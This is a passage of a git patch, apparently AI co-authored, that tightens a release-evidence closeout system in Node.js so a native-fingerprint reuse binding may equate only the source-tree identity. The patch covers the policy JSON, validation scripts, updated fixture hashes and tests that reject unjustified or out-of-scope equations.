the fingerprint does not determine (repository, producer_version, artifact_sha256). Closes #1567 Co-Authored-By: Claude Opus 5 --- .../release-evidence/fixtures/candidate.json | 6 +- .../release-evidence/fixtures/report.json | 8 +- release-claims.json | 18 +- scripts/codestory-release-claims.mjs | 103 +++++- scripts/codestory-release-closeout.mjs | 120 ++++++- .../tests/codestory-release-claims.test.mjs | 82 +++++ .../tests/codestory-release-closeout.test.mjs | 307 +++++++++++++++--- .../fixtures/release-claims/positive.json | 2 +- 8 files changed, 569 insertions(+), 77 deletions(-) diff --git a/benchmarks/release-evidence/fixtures/candidate.json b/benchmarks/release-evidence/fixtures/candidate.json index 34d17a9cb..e0d544654 100644 --- a/benchmarks/release-evidence/fixtures/candidate.json +++ b/benchmarks/release-evidence/fixtures/candidate.json @@ -62,7 +62,7 @@ }, "release_claims": { "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "requested_claims": [ @@ -85,7 +85,7 @@ "type": "performance", "tier": "live_behavior", "status": "measured", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -106,7 +106,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { diff --git a/benchmarks/release-evidence/fixtures/report.json b/benchmarks/release-evidence/fixtures/report.json index 476f703a8..281442e16 100644 --- a/benchmarks/release-evidence/fixtures/report.json +++ b/benchmarks/release-evidence/fixtures/report.json @@ -7,7 +7,7 @@ "baseline_id": "ci-contract-v1@1111111111111111111111111111111111111111", "baseline_sha256": "0bbbe6dd8b4000151edf7b1270959d08e94e08db876e7f2372b25613e0f237c1", "candidate_path": "benchmarks/release-evidence/fixtures/candidate.json", - "candidate_sha256": "f65cf87fe997450e6434ad1c30fb735b4b9322e0609968d42500e030b81c54dd", + "candidate_sha256": "8a18987dd7275da0f3bca2b6199c4613a3c86667d9f950378347c91c9a2a0c22", "artifact_paths": [ { "path": "candidate-stats.json", @@ -26,7 +26,7 @@ "type": "performance", "tier": "live_behavior", "status": "pass", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -47,7 +47,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -69,7 +69,7 @@ "schema": "codestory.release-claim-evaluation/v1", "status": "pass", "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "evidence_selection": "all_matching_rows_must_pass", "expected_commit": "2222222222222222222222222222222222222222", "evaluated_at": "2026-07-21T02:13:20.738Z", diff --git a/release-claims.json b/release-claims.json index becf9ef21..ac94ed724 100644 --- a/release-claims.json +++ b/release-claims.json @@ -114,11 +114,23 @@ }, "native_reuse": "version_only_delta", "reuse": { + "equation": "Reuse anchors a row to the earlier run and commit it was produced by, so the commit identity is read at the release commit for every binding. Any further identity a reused row would otherwise be held to is checked as written unless the binding declares it below. A binding may declare an identity key only when the binding's own construction determines that key for the evidence being inherited, and an equated key is never dropped: the reused row must still carry the reused commit's own value for it, which the binding is what makes admissible in place of this release's.", "bindings": { - "source_tree": "Evidence from a prior run is admissible when its producing commit resolves to the identical source tree and is an ancestor of the release commit on the promotion path.", - "native_fingerprint": "Accelerator evidence from the previous published release is admissible when the version-normalized native fingerprint (scripts/native-fingerprint.mjs) of both commits is identical: the built inputs differ only by the embedded version string. Packaging and signing always rerun; only accelerator behavior is inherited." + "source_tree": { + "admits": "Evidence from a prior run is admissible when its producing commit resolves to the identical source tree and is an ancestor of the release commit on the promotion path.", + "equates": [] + }, + "native_fingerprint": { + "admits": "Accelerator evidence from the previous published release is admissible when the reused commit is an ancestor of the release commit and the version-normalized native fingerprint (scripts/native-fingerprint.mjs) of both commits is identical: the built inputs differ only by the embedded version string. Packaging and signing always rerun; only accelerator behavior is inherited.", + "equates": [ + { + "identity": "source_tree", + "justification": "The fingerprint covers every input that determines the native binary -- crates/**, Cargo.lock, vendor/**, the packaging scripts and the toolchain pins, with the version stamp normalized away -- so an equal fingerprint means the accelerator this evidence exercised is built from identical inputs. The source tree is what that evidence's identity would otherwise be standing in for, and here it is the one thing the two commits are known to differ in, in non-native code the accelerator never runs. Nothing else is equated: the fingerprint says nothing about which repository, which packaged bytes, which host, or which version produced the row, so those stay checked as written." + } + ] + } }, - "verification": "The trusted producer map verifies the binding, the reused run's job success, artifact expiry, and container digest exactly as same-run evidence, and records the reused run, commit, and binding value in the ledger." + "verification": "The trusted producer map verifies the binding, the reused run's job success, artifact expiry, and container digest exactly as same-run evidence, and records the reused run, commit, and binding value in the ledger. The closeout re-proves the binding against its own checkout, and re-derives the reused commit's own value for every equated identity, before it reads any reused row at the release identity." } }, "exception_policy": { diff --git a/scripts/codestory-release-claims.mjs b/scripts/codestory-release-claims.mjs index ff85fa79c..4bb7453ff 100644 --- a/scripts/codestory-release-claims.mjs +++ b/scripts/codestory-release-claims.mjs @@ -172,24 +172,53 @@ export function deriveTrustedGitIdentity({ repoRoot, expectedSha }) { }; } +/// What each reuse binding's own construction determines, and may therefore equate. +/// +/// Reuse always reads a reused row's *commit* at the release commit -- that is what anchoring to +/// the earlier run means. Equating goes further: it lets a reused row keep an identity whose value +/// differs from this release's, so it may only ever name a key the binding itself determines. The +/// graph declares which of these keys each binding actually uses (`evidence_policy.reuse.bindings`) +/// and why; this map is the ceiling, stated next to the proofs that establish it, so a graph edit +/// alone can never grant an equation no binding proves. +/// +/// * `source_tree` proves the reused commit resolves to this release's own tree. Nothing needs +/// substituting: every tree-derived identity a reused row declares is still checkable directly +/// against this release, and equating one would replace a live check with nothing. Hence []. +/// * `native_fingerprint` proves the two commits' native build inputs -- crates/**, Cargo.lock, +/// vendor/**, the packaging scripts, the toolchain pins, version-normalized -- hash equal. That +/// determines the built accelerator, so accelerator execution evidence transfers across the +/// source_tree difference the binding exists to tolerate. It determines nothing about the +/// repository, the packaged bytes, the host, or the version, so none of those may be equated. +const REUSE_BINDING_EQUATABLE_IDENTITY = Object.freeze({ + source_tree: Object.freeze([]), + native_fingerprint: Object.freeze(["source_tree"]), +}); + /// Verify a reuse binding against the local repository and return its recorded value. /// /// Both sides of the release ledger need this: the producer proves the binding before it admits /// cross-run evidence, and the closeout re-proves it against its own checkout before it anchors a /// reused row to the earlier run. export function verifyReuseBinding({ binding, repository, releaseCommit, reusedCommit }) { + if (!Object.hasOwn(REUSE_BINDING_EQUATABLE_IDENTITY, binding)) { + fail(`unknown reuse binding ${binding}`); + } + // Ancestry is a property of reuse itself, not of any one binding: evidence may only be inherited + // forward along this release's own history. Without it, a binding that compares content alone -- + // a fingerprint, say -- would admit a run from a fork or an abandoned branch that happens to + // share the content, which is a different repository's proof wearing this release's clothes. + if (spawnSync("git", ["merge-base", "--is-ancestor", reusedCommit, releaseCommit], { + cwd: repository, + encoding: "utf8", + }).status !== 0) { + fail(`reused commit ${reusedCommit} is not an ancestor of the release commit`); + } if (binding === "source_tree") { const releaseTree = git(["rev-parse", `${releaseCommit}^{tree}`], repository); const reusedTree = git(["rev-parse", `${reusedCommit}^{tree}`], repository); if (releaseTree !== reusedTree) { fail(`reused commit ${reusedCommit} tree ${reusedTree} does not match release tree ${releaseTree}`); } - if (spawnSync("git", ["merge-base", "--is-ancestor", reusedCommit, releaseCommit], { - cwd: repository, - encoding: "utf8", - }).status !== 0) { - fail(`reused commit ${reusedCommit} is not an ancestor of the release commit`); - } return releaseTree; } if (binding === "native_fingerprint") { @@ -212,7 +241,8 @@ export function verifyReuseBinding({ binding, repository, releaseCommit, reusedC } return releasePrint; } - fail(`unknown reuse binding ${binding}`); + // Reachable only if a binding is added to the equation ceiling above without a proof here. + fail(`reuse binding ${binding} has no verification`); } function uniqueById(values, label) { @@ -252,6 +282,55 @@ function cellsByProducerJobName(cellGroups) { return byJobName; } +/// What each reuse binding is permitted to equate, declared per binding by the graph. +/// +/// A reused row is read at the release commit; every other identity it carries is checked as +/// written unless its binding declares that key here. That declaration is the whole authorisation: +/// no cell group gets an exception, and no group narrows its own `required_identity` to make room +/// for one, because narrowing would drop the check for fresh evidence too. So the equation has to +/// survive three separate refusals before the closeout will honour it: +/// +/// * The key must be one the binding's construction determines -- `REUSE_BINDING_EQUATABLE_IDENTITY` +/// above is the ceiling, stated beside the proofs, so a graph edit alone cannot invent one. +/// * The key must be part of the release identity binding (minus `commit`, which reuse anchors +/// rather than equates), so the closeout always holds an authoritative release-side value and +/// an authoritative reused-side value to put in its place. +/// * The graph must say, in prose, why that particular key follows from that particular proof. +/// An equation nobody can justify in a sentence is one nobody should be granting. +function validateReuseBindings(evidencePolicy, identityBinding) { + const reuse = object(evidencePolicy.reuse, "release claim graph.evidence_policy.reuse"); + nonEmptyText(reuse.equation, "release claim graph.evidence_policy.reuse.equation"); + nonEmptyText(reuse.verification, "release claim graph.evidence_policy.reuse.verification"); + const bindings = object(reuse.bindings, "release claim graph.evidence_policy.reuse.bindings"); + const implemented = Object.keys(REUSE_BINDING_EQUATABLE_IDENTITY).sort(); + if (JSON.stringify(Object.keys(bindings).sort()) !== JSON.stringify(implemented)) { + fail(`release claim graph reuse bindings must declare exactly ${implemented.join(", ")}`); + } + const equatable = new Set(identityBinding.filter((key) => key !== "commit")); + for (const [id, value] of Object.entries(bindings)) { + const binding = object(value, `release claim graph reuse binding ${id}`); + nonEmptyText(binding.admits, `release claim graph reuse binding ${id}.admits`); + if (!Array.isArray(binding.equates)) { + fail(`release claim graph reuse binding ${id}.equates must be an array`); + } + const determines = new Set(REUSE_BINDING_EQUATABLE_IDENTITY[id]); + const declared = new Set(); + for (const [index, entryValue] of binding.equates.entries()) { + const entry = object(entryValue, `release claim graph reuse binding ${id}.equates[${index}]`); + const key = nonEmptyText(entry.identity, `release claim graph reuse binding ${id}.equates[${index}].identity`); + nonEmptyText(entry.justification, `release claim graph reuse binding ${id} equated identity ${key}.justification`); + if (declared.has(key)) fail(`release claim graph reuse binding ${id} equates ${key} twice`); + declared.add(key); + if (!equatable.has(key)) { + fail(`release claim graph reuse binding ${id} may not equate identity ${key} outside the release identity binding`); + } + if (!determines.has(key)) { + fail(`release claim graph reuse binding ${id} may not equate identity ${key}, which its construction does not determine`); + } + } + } +} + /// How much of a release may go unproven and still publish. Withholding exists so one dead host /// cannot cost a release its other nine cells -- it is not a way to publish a release nothing /// vouched for. The two numbers below are the whole policy and they live in the graph rather than @@ -704,6 +783,7 @@ export function validateReleaseClaimGraph(graph) { for (const key of identityBinding) { if (!identityFormats[key]) fail(`identity ${key} must declare a format`); } + validateReuseBindings(evidencePolicy, identityBinding); const exceptionPolicy = object(graph.exception_policy, "release claim graph.exception_policy"); if (exceptionPolicy.schema !== "codestory.model-microbenchmark-exception/v1") { @@ -882,6 +962,15 @@ export function validateReleaseClaimGraph(graph) { if (!new Set(["none", "pre_publish", "post_publish_compare"]).has(group.archive_role)) { fail(`closeout cell group ${id} has unknown archive_role ${String(group.archive_role)}`); } + // A group admits cross-run evidence by naming a binding the reuse policy declares -- and only + // by that. What the binding may then equate is the binding's business, stated once beside the + // proof, never a per-group exception. + if (group.reuse_binding !== undefined) { + const binding = nonEmptyText(group.reuse_binding, `closeout cell group ${id}.reuse_binding`); + if (!Object.hasOwn(evidencePolicy.reuse.bindings, binding)) { + fail(`closeout cell group ${id} names undeclared reuse binding ${binding}`); + } + } const requiredIdentity = stringArray( group.required_identity, `closeout cell group ${id}.required_identity`, diff --git a/scripts/codestory-release-closeout.mjs b/scripts/codestory-release-closeout.mjs index 638e019c6..5133dac0d 100644 --- a/scripts/codestory-release-closeout.mjs +++ b/scripts/codestory-release-closeout.mjs @@ -440,7 +440,21 @@ export function validateReleaseCellManifest({ manifest, cell, graph, version }) /// checkout, the binding the claim graph declares for that cell's group. Every rejecting path /// records its reason and falls back to the same-run anchor, so unverifiable reuse also fails the /// run identity checks that follow. -function producerAnchor({ cell, row, trustedProducers, gitIdentity, bindings, verify, errors }) { +/// +/// A verified anchor also carries the identity keys that binding is declared to equate, together +/// with the reused commit's own value for each, re-derived here rather than taken from the row. +/// That pair is what makes an equation honest: the release's value may stand in for the reused +/// commit's value, but the row still has to be carrying the reused commit's value to begin with. +function producerAnchor({ + cell, + row, + trustedProducers, + gitIdentity, + bindings, + verify, + resolveCommitIdentity, + errors, +}) { const sameRun = { runId: trustedProducers.run_id, headSha: gitIdentity.commit, reused: false }; const reused = row.reused_from; if (reused === undefined) return sameRun; @@ -448,7 +462,8 @@ function producerAnchor({ cell, row, trustedProducers, gitIdentity, bindings, ve errors.push(`trusted producer map ${cell.id} reuse record must be an object`); return sameRun; } - const binding = bindings.get(cell.group_id); + const declared = bindings.get(cell.group_id); + const binding = declared?.id; if (binding === undefined || reused.binding !== binding) { errors.push(`trusted producer map ${cell.id} reuses evidence under an undeclared binding`); return sameRun; @@ -484,7 +499,36 @@ function producerAnchor({ cell, row, trustedProducers, gitIdentity, bindings, ve errors.push(`trusted producer map ${cell.id} recorded ${binding} value does not bind this release`); return sameRun; } - return { runId: reused.run_id, headSha: reused.head_sha, reused: true }; + // An equated identity is the one place a reused row is allowed to differ from this release, so + // the value it is allowed to differ *to* is not the row's word: it is the reused commit's own, + // read from this checkout. With no way to read it, the equation is unproven and the reuse is + // refused outright rather than granted on the producer map's say-so. + const equated = new Map(); + if (declared.equates.length > 0) { + if (typeof resolveCommitIdentity !== "function") { + errors.push( + `trusted producer map ${cell.id} equates ${declared.equates.join(", ")} ` + + "this closeout cannot resolve", + ); + return sameRun; + } + let reusedIdentity; + try { + reusedIdentity = resolveCommitIdentity(reused.head_sha); + } catch (error) { + errors.push(`trusted producer map ${cell.id} reused commit identity is unreadable: ${error.message}`); + return sameRun; + } + for (const key of declared.equates) { + const value = reusedIdentity?.[key]; + if (typeof value !== "string" || value === "" || typeof gitIdentity[key] !== "string") { + errors.push(`trusted producer map ${cell.id} reused commit has no ${key} identity to equate`); + return sameRun; + } + equated.set(key, value); + } + } + return { runId: reused.run_id, headSha: reused.head_sha, reused: true, equated }; } function trustedProducerIndex({ @@ -494,6 +538,7 @@ function trustedProducerIndex({ graph, phase, verifyReuseBinding: verify, + resolveCommitIdentity, }) { const errors = []; if (trustedProducers === null || typeof trustedProducers !== "object" || Array.isArray(trustedProducers)) { @@ -574,9 +619,21 @@ function trustedProducerIndex({ for (const cellId of byCell.keys()) { if (!required.has(cellId)) errors.push(`trusted producer map contains undeclared cell ${cellId}`); } + // What a group's binding is, and what that binding is declared to equate. Both come from the + // graph: the group names a binding, the reuse policy says what that binding may substitute. A + // group that names a binding the policy never declared equates nothing here, and its rows are + // refused as undeclared -- the graph validator refuses that shape outright, and this is what + // makes an unvalidated graph fail closed rather than fail open. + const declaredBindings = graph.evidence_policy?.reuse?.bindings ?? {}; const bindings = new Map((graph.closeout.cell_groups ?? []) .filter((group) => typeof group.reuse_binding === "string") - .map((group) => [group.id, group.reuse_binding])); + .filter((group) => Object.hasOwn(declaredBindings, group.reuse_binding)) + .map((group) => [group.id, { + id: group.reuse_binding, + equates: (declaredBindings[group.reuse_binding].equates ?? []) + .map((entry) => entry?.identity) + .filter((key) => typeof key === "string" && key !== ""), + }])); const reusedByCell = new Map(); for (const cell of cells) { const row = byCell.get(cell.id); @@ -624,9 +681,12 @@ function trustedProducerIndex({ gitIdentity, bindings, verify, + resolveCommitIdentity, errors, }); - if (anchor.reused) reusedByCell.set(cell.id, anchor.headSha); + if (anchor.reused) { + reusedByCell.set(cell.id, { commit: anchor.headSha, equated: anchor.equated }); + } if (row.producer_run_id !== anchor.runId) { errors.push(`trusted producer map ${cell.id} run identity differs from the Actions run`); } @@ -707,7 +767,7 @@ function trustedProducerIndex({ return { byCell, reusedByCell, errors }; } -function producerAuthenticationProblems(manifest, trustedProducer, reusedCommit) { +function producerAuthenticationProblems(manifest, trustedProducer, reuse) { if (!trustedProducer) return ["manifest producer is absent from the trusted producer map"]; const identity = manifest.evidence?.identity ?? {}; const problems = []; @@ -732,9 +792,19 @@ function producerAuthenticationProblems(manifest, trustedProducer, reusedCommit) // read at the release commit instead, so that comparison no longer binds it to anything -- // this does. The binding proof covers exactly one earlier commit, and it is the only commit // this manifest may declare. - if (reusedCommit !== undefined && identity.commit !== reusedCommit) { + if (reuse !== undefined && identity.commit !== reuse.commit) { problems.push("manifest commit is not the reused commit the closeout proved bound to this release"); } + // Same argument, one step further out, for every identity the binding equates. Reading the row + // at this release's value for such a key removes the only check that key was performing, so the + // row has to be carrying the reused commit's own value for it -- re-derived from this checkout, + // never the producer's word. A row claiming some third tree is not the evidence the binding + // proved anything about. + for (const [key, value] of reuse?.equated ?? []) { + if (identity[key] !== value) { + problems.push(`manifest ${key} is not the reused commit's ${key} the binding equates`); + } + } return problems; } @@ -920,17 +990,30 @@ function evaluateCell({ } // A reused row was produced at an earlier commit, which is the whole point of the binding the // closeout just re-proved against its own checkout. Reading it at the release commit applies - // that binding; the row's own source tree is still compared against this release, so a binding - // that does not equate the trees still fails. The ledger keeps the manifest identity untouched. + // that binding, along with each identity the graph declares that binding may equate -- and only + // those: `native_fingerprint` equates `source_tree` because an equal fingerprint means every + // input determining the native binary is identical, so accelerator execution evidence carries + // across a tree that differs only in code the accelerator never runs. `source_tree` equates + // nothing, because there the trees are identical and nothing is being substituted. Any identity + // outside that declaration is compared against this release exactly as it is written, so a + // reused row from another repository, of another version, or naming another host still fails. + // The ledger keeps the manifest identity untouched. // - // The substitution is granted to exactly the commit the proof covered. A row declaring any - // other commit is not the evidence that was proved, so it is read as written and fails the - // claim evaluator's commit check -- the same check that binds every same-run row. + // The substitution is granted to exactly the commit the proof covered, and to a row that + // actually carries the reused commit's own value for each equated key. A row declaring any + // other commit -- or some third tree -- is not the evidence that was proved, so it is read as + // written and fails the claim evaluator's identity checks, the same checks that bind every + // same-run row. const evidence = evidenceCells.map((dependency) => { const row = manifests.get(dependency.id).evidence; - const provedCommit = reusedByCell.get(dependency.id); - if (provedCommit === undefined || row.identity?.commit !== provedCommit) return row; - return { ...row, identity: { ...row.identity, commit: gitIdentity.commit } }; + const reuse = reusedByCell.get(dependency.id); + if (reuse === undefined || row.identity?.commit !== reuse.commit) return row; + const identity = { ...row.identity, commit: gitIdentity.commit }; + for (const [key, value] of reuse.equated) { + if (row.identity?.[key] !== value) return row; + identity[key] = gitIdentity[key]; + } + return { ...row, identity }; }); const requestedClaims = claims.map((claim) => ({ id: claim.id, @@ -1157,6 +1240,9 @@ export function evaluateReleaseCloseout({ // Re-proves a reuse binding against this closeout's own checkout. Absent, every reuse block is // refused rather than trusted on the producer map's say-so. verifyReuseBinding: verify = null, + // Reads one commit's trusted identity out of this closeout's own checkout, for the identities a + // binding equates. Absent, a binding that equates anything is refused the same way. + resolveCommitIdentity = null, }) { if (!SEMVER.test(version)) fail("version must be semantic version text without a leading v"); const evaluatedEpoch = Date.parse(evaluatedAt); @@ -1172,6 +1258,7 @@ export function evaluateReleaseCloseout({ graph, phase, verifyReuseBinding: verify, + resolveCommitIdentity, }); const performanceCell = cells.find(({ id }) => id === graph.exception_policy.eligible_evidence_type); const trustedException = trustedExceptionInput({ @@ -1600,6 +1687,9 @@ function main() { artifactBindings: downloaded.artifactBindings, verifyReuseBinding: ({ binding, releaseCommit, reusedCommit }) => verifyReuseBinding({ binding, repository: repoRoot, releaseCommit, reusedCommit }), + // Same derivation the release identity itself came from, applied to the reused commit: an + // equated identity is only ever replaced by this checkout's reading of both ends. + resolveCommitIdentity: (commit) => deriveTrustedGitIdentity({ repoRoot, expectedSha: commit }), }); writeReleaseCloseout(text(values["out-dir"], "--out-dir"), result); console.log(JSON.stringify(result.summary, null, 2)); diff --git a/scripts/tests/codestory-release-claims.test.mjs b/scripts/tests/codestory-release-claims.test.mjs index 78b0822ba..9baf8a6c6 100644 --- a/scripts/tests/codestory-release-claims.test.mjs +++ b/scripts/tests/codestory-release-claims.test.mjs @@ -800,4 +800,86 @@ test("reuse bindings verify tree identity and fingerprint equality against real }), /unknown reuse binding source_history/u, ); + // Ancestry belongs to reuse itself, not to any one binding. Read the other way round, v0.16.1 + // is not on v0.16.0's history, and the fingerprints are equal -- content equality alone would + // admit a run from a fork or an abandoned branch as this release's own proof. + assert.throws( + () => verifyReuseBinding({ + binding: "native_fingerprint", + repository: root, + releaseCommit: priorTag, + reusedCommit: releaseTag, + }), + /is not an ancestor of the release commit/u, + ); +}); + +test("a reuse binding may equate only identities its own construction determines", () => { + // What a reused row is allowed to differ from this release in is declared per binding, in the + // graph, with a reason -- never per cell group, and never by narrowing a group's + // required_identity, which would drop the check for fresh evidence too (#1567). + const declared = graph.evidence_policy.reuse.bindings; + assert.deepEqual(Object.keys(declared).sort(), ["native_fingerprint", "source_tree"]); + assert.deepEqual(declared.source_tree.equates, []); + assert.deepEqual(declared.native_fingerprint.equates.map(({ identity }) => identity), ["source_tree"]); + assert.ok(declared.native_fingerprint.equates[0].justification.length > 0); + + // The fingerprint determines the built native binary. It says nothing about which repository + // produced the row, so it may not equate that -- graph text alone cannot grant an equation. + const foreignRepository = structuredClone(graph); + foreignRepository.evidence_policy.reuse.bindings.native_fingerprint.equates = [ + { identity: "repository", justification: "same organisation, surely" }, + ]; + assert.throws( + () => validateReleaseClaimGraph(foreignRepository), + /native_fingerprint may not equate identity repository, which its construction does not determine/u, + ); + + // The tree binding proves the reused commit resolves to this release's own tree, so there is + // nothing to substitute: equating the tree there would replace a live check with nothing. + const vacuousEquation = structuredClone(graph); + vacuousEquation.evidence_policy.reuse.bindings.source_tree.equates = [ + { identity: "source_tree", justification: "the trees are equal anyway" }, + ]; + assert.throws( + () => validateReleaseClaimGraph(vacuousEquation), + /source_tree may not equate identity source_tree, which its construction does not determine/u, + ); + + // An identity outside the release identity binding has no authoritative release-side value the + // closeout could put in its place, so it can never be equated whatever a binding proves. + const unboundIdentity = structuredClone(graph); + unboundIdentity.evidence_policy.reuse.bindings.native_fingerprint.equates = [ + { identity: "artifact_sha256", justification: "the inputs were identical" }, + ]; + assert.throws( + () => validateReleaseClaimGraph(unboundIdentity), + /may not equate identity artifact_sha256 outside the release identity binding/u, + ); + + // An equation nobody can justify in a sentence is one nobody should be granting. + const unjustified = structuredClone(graph); + delete unjustified.evidence_policy.reuse.bindings.native_fingerprint.equates[0].justification; + assert.throws( + () => validateReleaseClaimGraph(unjustified), + /equated identity source_tree.justification must be a non-empty string/u, + ); + + // Every binding the verifier implements has to say what it equates, so a new binding cannot + // arrive with its equations left unstated. + const undeclaredBinding = structuredClone(graph); + delete undeclaredBinding.evidence_policy.reuse.bindings.native_fingerprint; + assert.throws( + () => validateReleaseClaimGraph(undeclaredBinding), + /reuse bindings must declare exactly native_fingerprint, source_tree/u, + ); + + // And a cell group admits cross-run evidence only under a binding the policy declares. + const inventedBinding = structuredClone(graph); + inventedBinding.closeout.cell_groups.find(({ id }) => id === "accelerator_execution") + .reuse_binding = "source_history"; + assert.throws( + () => validateReleaseClaimGraph(inventedBinding), + /accelerator_execution names undeclared reuse binding source_history/u, + ); }); diff --git a/scripts/tests/codestory-release-closeout.test.mjs b/scripts/tests/codestory-release-closeout.test.mjs index 056837d0f..9480da8ae 100644 --- a/scripts/tests/codestory-release-closeout.test.mjs +++ b/scripts/tests/codestory-release-closeout.test.mjs @@ -270,6 +270,7 @@ function evaluate( trustedExceptionDocument = null, artifactBindings = null, verifyReuseBinding = null, + resolveCommitIdentity = null, ) { const bindings = artifactBindings ?? manifests.map((manifest) => { const producer = trustedProducers?.producers?.find(({ cell_id: cellId }) => @@ -294,6 +295,7 @@ function evaluate( trustedExceptionDocument, artifactBindings: bindings, verifyReuseBinding, + resolveCommitIdentity, }); } @@ -341,6 +343,72 @@ function reuseSourceBehavior(trustedProducers, manifests, reusedFrom = {}) { return row; } +// ── Native-fingerprint reuse ──────────────────────────────────────────────────────────────── + +// The whole point of the native_fingerprint binding: the reused commit's tree is *not* this +// release's tree. Version-normalized native inputs are what is equal, so the accelerator the +// evidence exercised is the accelerator this release ships. +const reusedTree = "c".repeat(40); +const nativeFingerprint = "f".repeat(64); + +function acceleratorCellIds() { + return deriveReleaseCells(graph, "pre_publish") + .filter(({ group_id: groupId }) => groupId === "accelerator_execution") + .map(({ id }) => id); +} + +/// Stands in for the git fingerprint proof, and for the closeout reading the reused commit's own +/// identity out of its checkout. Both are needed before a reused row may be read at this release's +/// tree: one says the trees may be equated, the other says which tree is being equated away. +function fingerprintReuse({ + ancestors = [reusedCommit], + fingerprint = nativeFingerprint, + tree = reusedTree, +} = {}) { + return { + verify: ({ binding, releaseCommit, reusedCommit: reused }) => { + assert.equal(releaseCommit, gitIdentity.commit); + if (binding !== "native_fingerprint") throw new Error(`unknown reuse binding ${binding}`); + if (!ancestors.includes(reused)) { + throw new Error(`reused commit ${reused} is not an ancestor of the release commit`); + } + return fingerprint; + }, + resolve: (commit) => { + if (commit !== reusedCommit) throw new Error(`git cat-file -e ${commit} failed`); + return { repository: gitIdentity.repository, commit, source_tree: tree }; + }, + }; +} + +/// Re-anchor all three accelerator producer rows onto a prior run, exactly as the producer map +/// does once an operator selects `--reuse accelerator_execution=:` in preflight. +function reuseAcceleratorExecution(trustedProducers, manifests, reusedFrom = {}) { + const rows = []; + for (const cellId of acceleratorCellIds()) { + const row = trustedProducers.producers.find(({ cell_id: candidate }) => candidate === cellId); + row.producer_run_id = reusedRunId; + row.reused_from = { + run_id: reusedRunId, + head_sha: reusedCommit, + binding: "native_fingerprint", + binding_value: nativeFingerprint, + ...reusedFrom, + }; + row.artifact.workflow_run_id = reusedRunId; + row.artifact.head_sha = reusedCommit; + row.job.run_id = reusedRunId; + row.job.head_sha = reusedCommit; + const manifest = manifests.find(({ cell_id: candidate }) => candidate === cellId); + manifest.evidence.identity.producer_run_id = reusedRunId; + manifest.evidence.identity.commit = reusedCommit; + // The reused run ran at its own tree, which is not this release's. + manifest.evidence.identity.source_tree = reusedTree; + rows.push(row); + } + return rows; +} + test("cell inventory is derived only from the release claim graph", () => { const prePublish = deriveReleaseCells(graph, "pre_publish"); const postPublish = deriveReleaseCells(graph, "post_publish"); @@ -919,60 +987,211 @@ test("a reuse block naming the publishing run is not reuse", () => { assert.ok(rejected.summary.failed_cells.includes("source_behavior")); }); -test("native-fingerprint reuse is still refused, and refused for the tree it cannot equate", () => { - // release-claims.json declares a second reuse binding -- accelerator_execution under - // native_fingerprint -- and this closeout does not yet honour it. Fingerprint reuse exists - // precisely because the trees differ, and accelerator_execution requires source_tree, so the - // claim evaluator refuses the row after the closeout anchors it. #1552 is about source-proof - // reuse; widening the tree identity for accelerator evidence is a separate trust decision. - // Pinned here so that gap stays a documented refusal and can never widen unnoticed. - const reusedTree = "c".repeat(40); - const fingerprint = "f".repeat(64); +/// Every message a rejected closeout produced, wherever it recorded it: input errors, cell +/// validation failures, and the claim evaluator's own failures all refuse in different places. +function refusals(result) { + const messages = [...result.summary.input_errors]; + for (const { value } of result.evaluations.values()) { + for (const failure of value.failures ?? []) messages.push(String(failure)); + for (const failure of value.release_claim_evaluation?.failures ?? []) { + messages.push(String(failure.message)); + } + } + return messages; +} + +test("native-fingerprint reuse is admitted for the tree that binding equates", () => { + // Replaces the test that pinned this as a permanent refusal (#1567). The refusal was not a + // trust decision, it was a missing declaration: the closeout read every reused row at the + // release commit and at nothing else, so accelerator_execution -- whose required_identity + // includes source_tree, and whose binding exists precisely because the trees differ -- could + // never pass. The claim graph now says per binding which identity keys the binding may equate, + // and native_fingerprint equates source_tree: an equal version-normalized fingerprint means + // every input that determines the native binary is identical, so execution evidence carries + // across a tree that differs only in code the accelerator never runs. const manifests = manifestsFor("pre_publish"); const trusted = trustedProducersFor("pre_publish"); - const acceleratorCells = deriveReleaseCells(graph, "pre_publish") - .filter(({ group_id: groupId }) => groupId === "accelerator_execution") - .map(({ id }) => id); - assert.equal(acceleratorCells.length, 3); - for (const cellId of acceleratorCells) { - const row = trusted.producers.find(({ cell_id: candidate }) => candidate === cellId); - row.producer_run_id = reusedRunId; - row.reused_from = { - run_id: reusedRunId, - head_sha: reusedCommit, - binding: "native_fingerprint", - binding_value: fingerprint, - }; - row.artifact.workflow_run_id = reusedRunId; - row.artifact.head_sha = reusedCommit; - row.job.run_id = reusedRunId; - row.job.head_sha = reusedCommit; - const manifest = manifests.find(({ cell_id: candidate }) => candidate === cellId); - manifest.evidence.identity.producer_run_id = reusedRunId; - 